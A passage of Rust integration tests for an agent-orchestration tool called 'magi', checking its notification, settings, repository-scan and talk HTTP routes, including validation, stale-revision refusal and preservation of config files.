13511        let listed = fx.get("/api/notifications").await.json();
13512        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13513        questions
13514            .update(&q.id, |q| {
13515                q.abandon("run gone");
13516                Ok(())
13517            })
13518            .unwrap();
13519        let listed = fx.get("/api/notifications").await.json();
13520        assert!(listed["items"][0]["answerable_question"].is_null());
13521        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13522        assert!(
13523            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13524                .unwrap()
13525                .contains("answerable_question")
13526        );
13527    }
13528
13529    #[tokio::test]
13530    async fn notifications_list_read_dismiss_and_health_agree() {
13531        let fx = Fixture::start().await;
13532        let store = Notices::at(fx.home.path().join("notifications"));
13533        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13534        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13535
13536        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13537        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13538
13539        store
13540            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13541            .unwrap();
13542        let health = fx.get("/api/health").await.json();
13543        assert_eq!(health["notifications_unread"], 2);
13544        assert_ne!(
13545            health["notifications_rev"], rev0,
13546            "the badge must move live"
13547        );
13548
13549        let listed = fx.get("/api/notifications").await.json();
13550        assert_eq!(listed["unread"], 2);
13551        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13552        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13553
13554        let read = fx
13555            .post(&format!("/api/notifications/{}/read", a.id), None)
13556            .await;
13557        assert_eq!(read.status, 200, "{}", read.body);
13558        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13559
13560        let gone = fx
13561            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13562            .await;
13563        assert_eq!(gone.status, 200, "{}", gone.body);
13564        let listed = fx.get("/api/notifications").await.json();
13565        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13566        assert_eq!(listed["unread"], 0);
13567
13568        store.raise(Notice::info("x", "again")).unwrap();
13569        let all = fx.post("/api/notifications/read-all", None).await;
13570        assert_eq!(all.status, 200, "{}", all.body);
13571        assert_eq!(all.json()["marked"], 1);
13572        assert_eq!(
13573            fx.get("/api/health").await.json()["notifications_unread"],
13574            0
13575        );
13576
13577        let missing = fx.post("/api/notifications/nope/read", None).await;
13578        assert_eq!(missing.status, 404, "{}", missing.body);
13579        assert!(missing.json()["error"].is_string());
13580    }
13581
13582    /// New work reaches the queue through `magi task add`, a standing talk's
13583    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
13584    /// so the compose form and that route are gone. The tests that covered
13585    /// that route's validation went with it, and nothing was left asserting
13586    /// it stays gone — so a re-added handler would silently let the phone
13587    /// file briefs no one validated.
13588    #[tokio::test]
13589    async fn a_task_cannot_be_filed_over_the_phone_directly() {
13590        let f = Fixture::start().await;
13591
13592        let res = f
13593            .post(
13594                "/api/queue",
13595                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13596            )
13597            .await;
13598
13599        assert_eq!(
13600            res.status, 405,
13601            "POST /api/queue must not be a route: {}",
13602            res.body
13603        );
13604        assert!(
13605            f.queue().list().is_empty(),
13606            "a task filed by a route that does not exist must not reach the disk"
13607        );
13608        // The path itself is still served — the Queue view reads it — and the
13609        // per-task controls are untouched by the entry being removed.
13610        assert_eq!(f.get("/api/queue").await.status, 200);
13611    }
13612
13613    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
13614    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13615        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13616            .expect("checkout dir");
13617    }
13618
13619    /// Two command agents, so a config needs no real CLI.
13620    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13621
13622    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13623        let tmp = TempDir::new().expect("tempdir");
13624        let repo = tmp.path().join("repo");
13625        std::fs::create_dir_all(&repo).expect("repo dir");
13626        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13627        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13628        if let Some(text) = machine_toml {
13629            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13630            std::fs::write(&machine, text).expect("machine toml");
13631        }
13632        (tmp, repo, machine)
13633    }
13634
13635    async fn settings_checkout(path: &FsPath, text: &str) {
13636        std::fs::create_dir_all(path).unwrap();
13637        std::fs::write(path.join("magi.toml"), text).unwrap();
13638        for args in [
13639            vec!["init", "-b", "main"],
13640            vec!["add", "magi.toml"],
13641            vec![
13642                "-c",
13643                "user.name=Test",
13644                "-c",
13645                "user.email=test@example.invalid",
13646                "commit",
13647                "-m",
13648                "fixture",
13649            ],
13650            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13651            vec![
13652                "symbolic-ref",
13653                "refs/remotes/origin/HEAD",
13654                "refs/remotes/origin/main",
13655            ],
13656        ] {
13657            crate::git::git(path, &args).await.unwrap();
13658        }
13659    }
13660
13661    #[tokio::test]
13662    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13663        let (tmp, repo, machine) =
13664            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13665        let root = tmp.path().join("roots");
13666        let selected = root.join("host/owner/selected");
13667        settings_checkout(
13668            &selected,
13669            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13670        )
13671        .await;
13672        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13673        let before = std::fs::read(&machine).unwrap();
13674        let ui = Arc::new(
13675            Ui::new(
13676                Queue::at(tmp.path().join("queue")),
13677                Questions::at(tmp.path().join("questions")),
13678                Talks::at(tmp.path().join("talks")),
13679                tmp.path().join("runs"),
13680                tmp.path().to_path_buf(),
13681                repo.clone(),
13682            )
13683            .with_machine_config(Some(machine.clone())),
13684        );
13685        let query = || {
13686            Query(SettingsQuery {
13687                repo: Some(selected.clone()),
13688            })
13689        };
13690        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13691        assert!(v.error.is_none(), "{:?}", v.error);
13692        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13693        assert_eq!(conductor.source, "repo");
13694        assert_eq!(
13695            conductor.machine_value,
13696            Some(toml::Value::String("a".into()))
13697        );
13698        assert!(!conductor.editable);
13699        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13700        assert_eq!(
13701            judges.count.as_ref().unwrap().machine_value,
13702            Some(toml::Value::Integer(1))
13703        );
13704        assert!(
13705            !v.roles
13706                .iter()
13707                .find(|r| r.key == "reviewers")
13708                .unwrap()
13709                .editable
13710        );
13711        let unknown = || {
13712            Query(SettingsQuery {
13713                repo: Some(tmp.path().to_path_buf()),
13714            })
13715        };
13716        assert_eq!(
13717            settings_get(State(ui.clone()), unknown())
13718                .await
13719                .unwrap_err()
13720                .status,
13721            StatusCode::UNPROCESSABLE_ENTITY
13722        );
13723        let body = || {
13724            Ok(Json(RolesBody {
13725                revision: v.revision.clone(),
13726                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13727                counts: Default::default(),
13728            }))
13729        };
13730        assert_eq!(
13731            settings_put_roles(State(ui.clone()), unknown(), body())
13732                .await
13733                .unwrap_err()
13734                .status,
13735            StatusCode::UNPROCESSABLE_ENTITY
13736        );
13737        assert_eq!(std::fs::read(&machine).unwrap(), before);
13738        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13739            .await
13740            .unwrap();
13741        assert_eq!(
13742            saved.repo,
13743            selected.canonicalize().unwrap().display().to_string()
13744        );
13745        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13746        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13747        // A cache miss refreshes the stable candidate list exactly for validation.
13748        let fresh = root.join("host/owner/fresh");
13749        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13750        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13751            .await
13752            .unwrap();
13753        assert_eq!(fresh_view.repositories.len(), 3);
13754    }
13755
13756    #[tokio::test]
13757    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13758        let (tmp, repo, machine) = settings_dirs(
13759            "[roles]\nreviewers = [\"a\"]\n",
13760            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13761        );
13762        let root = tmp.path().join("roots");
13763        let selected = root.join("host/owner/selected");
13764        settings_checkout(
13765            &selected,
13766            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13767        )
13768        .await;
13769        let broken = root.join("host/owner/broken");
13770        settings_checkout(&broken, "[roles\nbroken").await;
13771        let machine_text = format!(
13772            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13773            toml::Value::String(root.display().to_string())
13774        );
13775        std::fs::write(&machine, &machine_text).unwrap();
13776        let originals: Vec<_> = [&repo, &selected, &broken]
13777            .iter()
13778            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13779            .collect();
13780        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13781        let default = f.get("/api/settings").await.json();
13782        assert_eq!(
13783            default["repo"],
13784            repo.canonicalize().unwrap().display().to_string()
13785        );
13786        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13787        let query = format!("?repo={}", selected.display());
13788        let res = f.get(&format!("/api/settings{query}")).await;
13789        assert_eq!(res.status, 200, "{}", res.body);
13790        let v = res.json();
13791        assert!(v["error"].is_null(), "{v}");
13792        assert_eq!(v["repositories"], default["repositories"]);
13793        let role = |key: &str| {
13794            v["roles"]
13795                .as_array()
13796                .unwrap()
13797                .iter()
13798                .find(|r| r["key"] == key)
13799                .unwrap()
13800        };
13801        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13802        assert_eq!(role("advisors")["source"], "repo");
13803        assert_eq!(role("advisors")["editable"], false);
13804        assert!(role("advisors")["machine_value"].is_null());
13805        assert_eq!(role("judges")["count"]["value"], 2);
13806        assert_eq!(role("judges")["count"]["machine_value"], 1);
13807        assert_eq!(role("judges")["count"]["source"], "repo");
13808        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13809        assert!(
13810            source.contains("origin/main") && !source.contains("magi/config/"),
13811            "{source}"
13812        );
13813        assert_eq!(
13814            role("reviewers")["editable"],
13815            false,
13816            "default context outside roots must protect its declarations"
13817        );
13818        let body =
13819            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13820        let unknown = format!("?repo={}", tmp.path().display());
13821        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13822        assert_eq!(
13823            f.put(&format!("/api/settings/roles{unknown}"), &body)
13824                .await
13825                .status,
13826            422
13827        );
13828        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13829        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13830            .to_string();
13831        assert_eq!(
13832            f.put(&format!("/api/settings/roles{query}"), &refuse)
13833                .await
13834                .status,
13835            422
13836        );
13837        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13838        assert_eq!(saved.status, 200, "{}", saved.body);
13839        assert_eq!(saved.json()["repo"], v["repo"]);
13840        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13841        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13842        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13843            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13844        }
13845        let error = f
13846            .get(&format!("/api/settings?repo={}", broken.display()))
13847            .await;
13848        assert_eq!(error.status, 200);
13849        assert!(error.json()["error"]["message"].is_string());
13850        assert_eq!(error.json()["repositories"], default["repositories"]);
13851    }
13852
13853    #[tokio::test]
13854    async fn settings_get_reports_sources_and_the_advisors_fallback() {
13855        let (_tmp, repo, machine) =
13856            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13857        let f = Fixture::with_repo_and_machine(repo, machine).await;
13858        let res = f.get("/api/settings").await;
13859        assert_eq!(res.status, 200, "{}", res.body);
13860        let v = res.json();
13861        assert!(v["error"].is_null(), "{v}");
13862        let role = |k: &str| {
13863            v["roles"]
13864                .as_array()
13865                .and_then(|r| r.iter().find(|x| x["key"] == k))
13866                .cloned()
13867                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13868        };
13869        assert_eq!(role("judges")["source"], "machine");
13870        assert_eq!(role("judges")["editable"], true);
13871        assert_eq!(role("implementers")["source"], "default");
13872        let adv = role("advisors");
13873        assert_eq!(adv["fallback"], "judges");
13874        assert!(
13875            adv["seats"]
13876                .as_array()
13877                .is_some_and(|s| s.iter().all(|x| x == "b")),
13878            "{adv}"
13879        );
13880        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13881        assert_eq!(v["agents"][0]["source"], "repo");
13882    }
13883
13884    #[tokio::test]
13885    async fn settings_get_reports_a_config_that_does_not_parse() {
13886        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13887        let f = Fixture::with_repo_and_machine(repo, machine).await;
13888        let res = f.get("/api/settings").await;
13889        assert_eq!(res.status, 200, "{}", res.body);
13890        let v = res.json();
13891        assert!(v["error"]["message"].is_string(), "{v}");
13892        assert!(
13893            v["error"]["path"]
13894                .as_str()
13895                .is_some_and(|p| p.ends_with("magi.toml")),
13896            "{v}"
13897        );
13898        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13899    }
13900
13901    #[tokio::test]
13902    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13903        let (_tmp, repo, machine) = settings_dirs(
13904            SETTINGS_AGENTS,
13905            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
13906        );
13907        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13908        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13909        let rev = f.get("/api/settings").await.json()["revision"]
13910            .as_str()
13911            .expect("revision")
13912            .to_owned();
13913        let body = serde_json::json!({
13914            "revision": rev,
13915            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13916        })
13917        .to_string();
13918        let res = f.put("/api/settings/roles", &body).await;
13919        assert_eq!(res.status, 200, "{}", res.body);
13920        let text = std::fs::read_to_string(&machine).expect("machine");
13921        assert_eq!(
13922            text,
13923            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13924        );
13925        assert_eq!(
13926            std::fs::read(repo.join("magi.toml")).expect("read"),
13927            repo_before
13928        );
13929        let again = f.get("/api/settings").await.json();
13930        let judges = again["roles"]
13931            .as_array()
13932            .expect("roles")
13933            .iter()
13934            .find(|r| r["key"] == "judges")
13935            .expect("judges")
13936            .clone();
13937        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13938        // The old revision is now stale.
13939        let stale = f.put("/api/settings/roles", &body).await;
13940        assert_eq!(stale.status, 409, "{}", stale.body);
13941    }
13942
13943    #[tokio::test]
13944    async fn settings_counts_are_reported_and_saved() {
13945        let (_tmp, repo, machine) = settings_dirs(
13946            &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13947            Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13948        );
13949        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13950        let v = f.get("/api/settings").await.json();
13951        let count = |v: &serde_json::Value, k: &str| {
13952            v["roles"]
13953                .as_array()
13954                .and_then(|r| r.iter().find(|x| x["key"] == k))
13955                .map(|x| x["count"].clone())
13956                .unwrap_or_else(|| panic!("no role {k}: {v}"))
13957        };
13958        let imp = count(&v, "implementers");
13959        assert_eq!(imp["value"], 2);
13960        assert_eq!(imp["source"], "machine");
13961        assert_eq!(imp["file_key"], "candidates");
13962        assert_eq!(imp["roster_len"], 2);
13963        assert_eq!(imp["backups"], 0);
13964        assert_eq!(count(&v, "judges")["source"], "default");
13965        assert_eq!(count(&v, "advisors")["min"], 0);
13966        assert_eq!(count(&v, "reviewers")["editable"], false);
13967        assert!(
13968            count(&v, "reviewers")["locked_reason"]
13969                .as_str()
13970                .is_some_and(|m| m.contains("graph.reviewers"))
13971        );
13972        assert!(count(&v, "fixer").is_null());
13973        let rev = v["revision"].as_str().expect("revision").to_owned();
13974        let body = serde_json::json!({
13975            "revision": rev,
13976            "roles": { "judges": ["b"] },
13977            "counts": { "implementers": 1, "advisors": 0 }
13978        })
13979        .to_string();
13980        let res = f.put("/api/settings/roles", &body).await;
13981        assert_eq!(res.status, 200, "{}", res.body);
13982        let text = std::fs::read_to_string(&machine).expect("machine");
13983        assert_eq!(
13984            text,
13985            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13986        );
13987        let after = f.get("/api/settings").await.json();
13988        assert_eq!(count(&after, "implementers")["value"], 1);
13989        assert_eq!(count(&after, "implementers")["backups"], 1);
13990        assert_eq!(count(&after, "advisors")["value"], 0);
13991        let before = std::fs::read_to_string(&machine).expect("machine");
13992        let rev = after["revision"].as_str().expect("revision").to_owned();
13993        for counts in [
13994            serde_json::json!({ "judges": 0 }),
13995            serde_json::json!({ "judges": "x" }),
13996            serde_json::json!({ "judges": 2.5 }),
13997            serde_json::json!({ "judges": -1 }),
13998            serde_json::json!({ "reviewers": 3 }),
13999            serde_json::json!({ "bogus": 3 }),
14000        ] {
14001            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14002            let res = f.put("/api/settings/roles", &body).await;
14003            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14004            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14005        }
14006    }
14007
14008    #[tokio::test]
14009    async fn settings_put_refuses_without_touching_the_file() {
14010        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14011        let (_tmp, repo, machine) = settings_dirs(
14012            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14013            Some(machine_text),
14014        );
14015        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14016        let rev = f.get("/api/settings").await.json()["revision"]
14017            .as_str()
14018            .expect("revision")
14019            .to_owned();
14020        for roles in [
14021            serde_json::json!({ "judges": ["nope"] }),
14022            serde_json::json!({ "reviewers": ["b"] }),
14023            serde_json::json!({ "bogus": ["a"] }),
14024        ] {
14025            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14026            let res = f.put("/api/settings/roles", &body).await;
14027            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14028            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14029            assert_eq!(
14030                std::fs::read_to_string(&machine).expect("machine"),
14031                machine_text
14032            );
14033        }
14034    }
14035
14036    #[tokio::test]
14037    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14038        let tmp = TempDir::new().expect("tempdir");
14039        let repo = tmp.path().join("repo");
14040        std::fs::create_dir_all(&repo).expect("repo dir");
14041        let root = tmp.path().join("root");
14042        make_checkout(&root, "github.com", "yukimemi", "magi");
14043        std::fs::write(
14044            repo.join("magi.toml"),
14045            format!(
14046                "[repos]\nroots = [{:?}]\n",
14047                root.to_string_lossy().into_owned()
14048            ),
14049        )
14050        .expect("write magi.toml");
14051
14052        let f = Fixture::with_repo(repo).await;
14053        let res = f.get("/api/repos").await;
14054        assert_eq!(res.status, 200, "{}", res.body);
14055        let list = res.json();
14056        let repos = list.as_array().expect("an array");
14057        assert_eq!(repos.len(), 1);
14058        assert_eq!(repos[0]["name"], "yukimemi/magi");
14059        assert!(
14060            repos[0]["path"]
14061                .as_str()
14062                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14063            "{list}"
14064        );
14065    }
14066
14067    #[tokio::test]
14068    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14069        let tmp = TempDir::new().expect("tempdir");
14070        let repo = tmp.path().join("repo");
14071        std::fs::create_dir_all(&repo).expect("repo dir");
14072        let root = tmp.path().join("root");
14073        make_checkout(&root, "github.com", "yukimemi", "magi");
14074        std::fs::write(
14075            repo.join("magi.toml"),
14076            format!(
14077                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14078                root.to_string_lossy().into_owned()
14079            ),
14080        )
14081        .expect("write magi.toml");
14082
14083        let f = Fixture::with_repo(repo).await;
14084        let first = f.get("/api/repos").await;
14085        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14086
14087        // A second checkout appears; within the TTL the cached answer must
14088        // not notice it.
14089        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14090        let second = f.get("/api/repos").await;
14091        assert_eq!(
14092            second.json().as_array().map(Vec::len),
14093            Some(1),
14094            "a fresh cache must not rescan inside the TTL"
14095        );
14096
14097        let refreshed = f.get("/api/repos?refresh=1").await;
14098        assert_eq!(
14099            refreshed.json().as_array().map(Vec::len),
14100            Some(2),
14101            "an explicit refresh must rescan even inside the TTL"
14102        );
14103    }
14104
14105    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14106    /// string, declared straight in a repository's own `magi.toml` rather
14107    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14108    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14109    /// this is safe to run over a real HTTP round trip.
14110    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14111
14112    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14113    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14114    /// even though it takes no turn, and `talk_say` invokes one.
14115    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14116        let tmp = TempDir::new().expect("tempdir");
14117        let repo = tmp.path().join("repo");
14118        std::fs::create_dir_all(&repo).expect("repo dir");
14119        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14120        let f = Fixture::with_repo(repo.clone()).await;
14121        (tmp, repo, f)
14122    }
14123
14124    #[tokio::test]
14125    async fn posting_a_talk_with_remembered_choices_is_soft() {
14126        let (_tmp, _repo, f) = talk_fixture().await;
14127
14128        let good = f
14129            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14130            .await;
14131        assert_eq!(good.status, 201, "{}", good.body);
14132        assert_eq!(good.json()["persona"], "rei");
14133
14134        // Wrong values and wrong types are dropped one by one, never a 4xx.
14135        let stale = f
14136            .post(
14137                "/api/talks",
14138                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14139            )
14140            .await;
14141        assert_eq!(stale.status, 201, "{}", stale.body);
14142        let v = stale.json();
14143        assert_eq!(v["implementers"], 1);
14144        assert_ne!(v["persona"], "nobody");
14145        let typed = f
14146            .post(
14147                "/api/talks",
14148                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14149            )
14150            .await;
14151        assert_eq!(typed.status, 201, "{}", typed.body);
14152
14153        // The strict `agent` field still refuses an unknown id.
14154        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14155        assert!(
14156            !strict.status.to_string().starts_with('2'),
14157            "{}",
14158            strict.body
14159        );
14160    }
14161
14162    #[tokio::test]
14163    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14164        let (_tmp, _repo, f) = talk_fixture().await;
14165
14166        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14167        // is the ordinary way a phone opens a talk.
14168        let opened = f.post("/api/talks", None).await;
14169        assert_eq!(opened.status, 201, "{}", opened.body);
14170        let body = opened.json();
14171        assert_eq!(body["status"], "open");
14172        assert_eq!(
14173            body["turns"].as_array().unwrap().len(),
14174            0,
14175            "opening takes no agent turn: there is nothing yet to answer"
14176        );
14177
14178        // An explicit empty object is the same request as none at all.
14179        let also_opened = f.post("/api/talks", Some("{}")).await;
14180        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14181
14182        let listed = f.get("/api/talks").await.json();
14183        assert_eq!(listed.as_array().unwrap().len(), 2);
14184    }
14185
14186    #[tokio::test]
14187    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14188        let tmp = TempDir::new().expect("tempdir");
14189        let repo = tmp.path().join("repo");
14190        std::fs::create_dir_all(&repo).expect("repo dir");
14191        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14192        std::fs::write(
14193            repo.join("magi.toml"),
14194            format!("{MOCK_AGENT_TOML}\n{second}"),
14195        )
14196        .expect("write magi.toml");
14197        let home = TempDir::new().expect("temp home");
14198        let talks = Talks::at(home.path().join("talks"));
14199        let ui = Arc::new(
14200            Ui::new(
14201                Queue::at(home.path().join("queue")),
14202                Questions::at(home.path().join("questions")),
14203                talks.clone(),
14204                home.path().join("runs"),
14205                home.path().to_path_buf(),
14206                repo.clone(),
14207            )
14208            .with_worktrees_root(home.path().join("wt")),
14209        );
14210        let cfg = config_for(&repo).await.expect("discover config");
14211        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14212        let id = talk.id.clone();
14213        let call = |agent: &str| {
14214            talk_agent(
14215                State(Arc::clone(&ui)),
14216                Path(id.clone()),
14217                Json(TalkAgent {
14218                    agent: agent.to_owned(),
14219                }),
14220            )
14221        };
14222
14223        let unknown = call("nobody").await.expect_err("unknown agent");
14224        assert_eq!(
14225            unknown.status,
14226            StatusCode::BAD_REQUEST,
14227            "{}",
14228            unknown.message
14229        );
14230
14231        {
14232            // Nothing refused so far took a claim, so the guard is free to take
14233            // and holding it is what makes the talk busy.
14234            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14235            let busy = call("second").await.expect_err("busy talk");
14236            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14237            assert!(
14238                busy.message.contains("a talk turn is running"),
14239                "{}",
14240                busy.message
14241            );
14242            drop(guard);
14243        }
14244        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14245
14246        let Json(view) = call("second").await.expect("switch");
14247        assert_eq!(view.talk.agent, "second");
14248        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14249        let saved = talks.get(&id).expect("reload");
14250        assert_eq!(saved.agent, "second");
14251        assert_eq!(saved.turns.len(), 1);
14252        assert!(!view.thinking);
14253        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14254        for agent in ["mock", "second"] {
14255            let Json(view) = call(agent).await.expect("immediate consecutive change");
14256            assert_eq!(view.talk.agent, agent);
14257            assert!(!view.thinking);
14258            assert!(!ui.is_thinking(&id));
14259        }
14260
14261        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14262            .await
14263            .expect("detail");
14264        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14265        assert_eq!(roster, ["mock", "second"]);
14266
14267        let mut closed = talks.get(&id).expect("reload");
14268        talk::close(&mut closed, &talks).expect("close");
14269        let refused = call("mock").await.expect_err("closed talk");
14270        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14271        assert!(
14272            refused.message.contains("takes no more turns"),
14273            "{}",
14274            refused.message
14275        );
14276    }
14277
14278    #[tokio::test]
14279    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14280        let tmp = TempDir::new().expect("tempdir");
14281        let repo = tmp.path().join("repo");
14282        std::fs::create_dir_all(&repo).expect("repo dir");
14283        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14284        let home = TempDir::new().expect("temp home");
14285        let talks = Talks::at(home.path().join("talks"));
14286        let ui = Arc::new(
14287            Ui::new(
14288                Queue::at(home.path().join("queue")),
14289                Questions::at(home.path().join("questions")),
14290                talks.clone(),
14291                home.path().join("runs"),
14292                home.path().to_path_buf(),
14293                repo.clone(),
14294            )
14295            .with_worktrees_root(home.path().join("wt")),
14296        );
14297        let cfg = config_for(&repo).await.expect("discover config");
14298        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14299        let id = talk.id.clone();
14300        let call = |n: u8| {
14301            talk_implementers(
14302                State(Arc::clone(&ui)),
14303                Path(id.clone()),
14304                Json(TalkImplementers { implementers: n }),
14305            )
14306        };
14307
14308        for bad in [0u8, 4] {
14309            let e = call(bad).await.expect_err("out of range");
14310            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14311        }
14312        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14313
14314        {
14315            // Nothing refused so far took a claim, so the guard is free to take
14316            // and holding it is what makes the talk busy.
14317            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14318            let busy = call(2).await.expect_err("busy talk");
14319            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14320            assert!(
14321                busy.message.contains("a talk turn is running"),
14322                "{}",
14323                busy.message
14324            );
14325            drop(guard);
14326        }
14327
14328        let Json(view) = call(3).await.expect("switch");
14329        assert_eq!(view.talk.implementers, 3);
14330        assert!(talks.get(&id).expect("reload").implementers_dirty);
14331        assert!(!view.thinking);
14332        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14333        for n in [1, 2, 3] {
